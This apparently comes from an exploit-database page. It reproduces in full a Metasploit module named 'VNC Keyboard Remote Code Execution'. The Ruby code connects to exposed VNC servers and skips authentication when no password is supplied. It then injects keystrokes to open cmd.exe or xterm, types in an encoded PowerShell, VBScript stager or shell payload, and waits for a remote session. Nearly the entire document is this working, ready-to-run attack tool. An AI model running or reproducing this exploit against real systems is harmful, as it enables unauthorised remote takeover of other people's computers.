VNC Keyboard Remote Code Execution

2015.07.14
Credit: xistence
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'rex/proto/rfb' class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking WINDOWS_KEY = "\xff\xeb" ENTER_KEY = "\xff\x0d" include Msf::Exploit::Remote::Tcp include Msf::Exploit::CmdStager include Msf::Exploit::Powershell def initialize(info = {}) super(update_info(info, 'Name' => 'VNC Keyboard Remote Code Execution', 'Description' => %q{ This module exploits VNC servers by sending virtual keyboard keys and executing a payload. On Windows systems a command prompt is opened and a PowerShell or CMDStager payload is typed and executed. On Unix/Linux systems a xterm terminal is opened and a payload is typed and executed. }, 'Author' => [ 'xistence <xistence[at]0x90.nl>' ], 'Privileged' => false, 'License' => MSF_LICENSE, 'Platform' => %w{ win unix }, 'Targets' => [ [ 'VNC Windows / Powershell', { 'Arch' => ARCH_X86, 'Platform' => 'win' } ], [ 'VNC Windows / VBScript CMDStager', { 'Platform' => 'win' } ], [ 'VNC Linux / Unix', { 'Arch' => ARCH_CMD, 'Platform' => 'unix' } ] ], 'References' => [ [ 'URL', 'http://www.jedi.be/blog/2010/08/29/sending-keystrokes-to-your-virtual-machines-using-X-vnc-rdp-or-native/'] ], 'DisclosureDate' => 'Jul 10 2015', 'DefaultTarget' => 0)) register_options( [ Opt::RPORT(5900), OptString.new('PASSWORD', [ false, 'The VNC password']), OptInt.new('TIME_WAIT', [ true, 'Time to wait for payload to be executed', 20]) ], self.class) end def press_key(key) keyboard_key = "\x04\x01" # Press key keyboard_key << "\x00\x00\x00\x00" # Unknown / Unused data keyboard_key << key # The keyboard key # Press the keyboard key. Note: No receive is done as everything is sent in one long data stream sock.put(keyboard_key) end def release_key(key) keyboard_key = "\x04\x00" # Release key keyboard_key << "\x00\x00\x00\x00" # Unknown / Unused data keyboard_key << key # The keyboard key # Release the keyboard key. Note: No receive is done as everything is sent in one long data stream sock.put(keyboard_key) end def exec_command(command) values = command.chars.to_a values.each do |value| press_key("\x00#{value}") release_key("\x00#{value}") end press_key(ENTER_KEY) end def start_cmd_prompt print_status("#{rhost}:#{rport} - Opening Run command") # Pressing and holding windows key for 1 second press_key(WINDOWS_KEY) Rex.select(nil, nil, nil, 1) # Press the "r" key press_key("\x00r") # Now we can release both keys again release_key("\x00r") release_key(WINDOWS_KEY) # Wait a second to open run command window select(nil, nil, nil, 1) exec_command('cmd.exe') # Wait a second for cmd.exe prompt to open Rex.select(nil, nil, nil, 1) end def exploit begin alt_key = "\xff\xe9" f2_key = "\xff\xbf" password = datastore['PASSWORD'] connect vnc = Rex::Proto::RFB::Client.new(sock, :allow_none => false) unless vnc.handshake fail_with(Failure::Unknown, "#{rhost}:#{rport} - VNC Handshake failed: #{vnc.error}") end if password.nil? print_status("#{rhost}:#{rport} - Bypass authentication") # The following byte is sent in case the VNC server end doesn't require authentication (empty password) sock.put("\x10") else print_status("#{rhost}:#{rport} - Trying to authenticate against VNC server") if vnc.authenticate(password) print_status("#{rhost}:#{rport} - Authenticated") else fail_with(Failure::NoAccess, "#{rhost}:#{rport} - VNC Authentication failed: #{vnc.error}") end end # Send shared desktop unless vnc.send_client_init fail_with(Failure::Unknown, "#{rhost}:#{rport} - VNC client init failed: #{vnc.error}") end if target.name =~ /VBScript CMDStager/ start_cmd_prompt print_status("#{rhost}:#{rport} - Typing and executing payload") execute_cmdstager({:flavor => :vbs, :linemax => 8100}) # Exit the CMD prompt exec_command('exit') elsif target.name =~ /Powershell/ start_cmd_prompt print_status("#{rhost}:#{rport} - Typing and executing payload") command = cmd_psh_payload(payload.encoded, payload_instance.arch.first, {remove_comspec: true, encode_final_payload: true}) # Execute powershell payload and make sure we exit our CMD prompt exec_command("#{command} && exit") elsif target.name =~ /Linux/ print_status("#{rhost}:#{rport} - Opening 'Run Application'") # Press the ALT key and hold it for a second press_key(alt_key) Rex.select(nil, nil, nil, 1) # Press F2 to start up "Run application" press_key(f2_key) # Release ALT + F2 release_key(alt_key) release_key(f2_key) # Wait a second for "Run application" to start Rex.select(nil, nil, nil, 1) # Start a xterm window print_status("#{rhost}:#{rport} - Opening xterm") exec_command('xterm') # Wait a second for "xterm" to start Rex.select(nil, nil, nil, 1) # Execute our payload and exit (close) the xterm window print_status("#{rhost}:#{rport} - Typing and executing payload") exec_command("nohup #{payload.encoded} &") exec_command('exit') end print_status("#{rhost}:#{rport} - Waiting for session...") (datastore['TIME_WAIT']).times do Rex.sleep(1) # Success! session is here! break if session_created? end rescue ::Timeout::Error, Rex::ConnectionError, Rex::ConnectionRefused, Rex::HostUnreachable, Rex::ConnectionTimeout => e fail_with(Failure::Unknown, "#{rhost}:#{rport} - #{e.message}") ensure disconnect end end def execute_command(cmd, opts = {}) exec_command(cmd) end end

References:

http://www.jedi.be/blog/2010/08/29/sending-keystrokes-to-your-virtual-machines-using-X-vnc-rdp-or-native/


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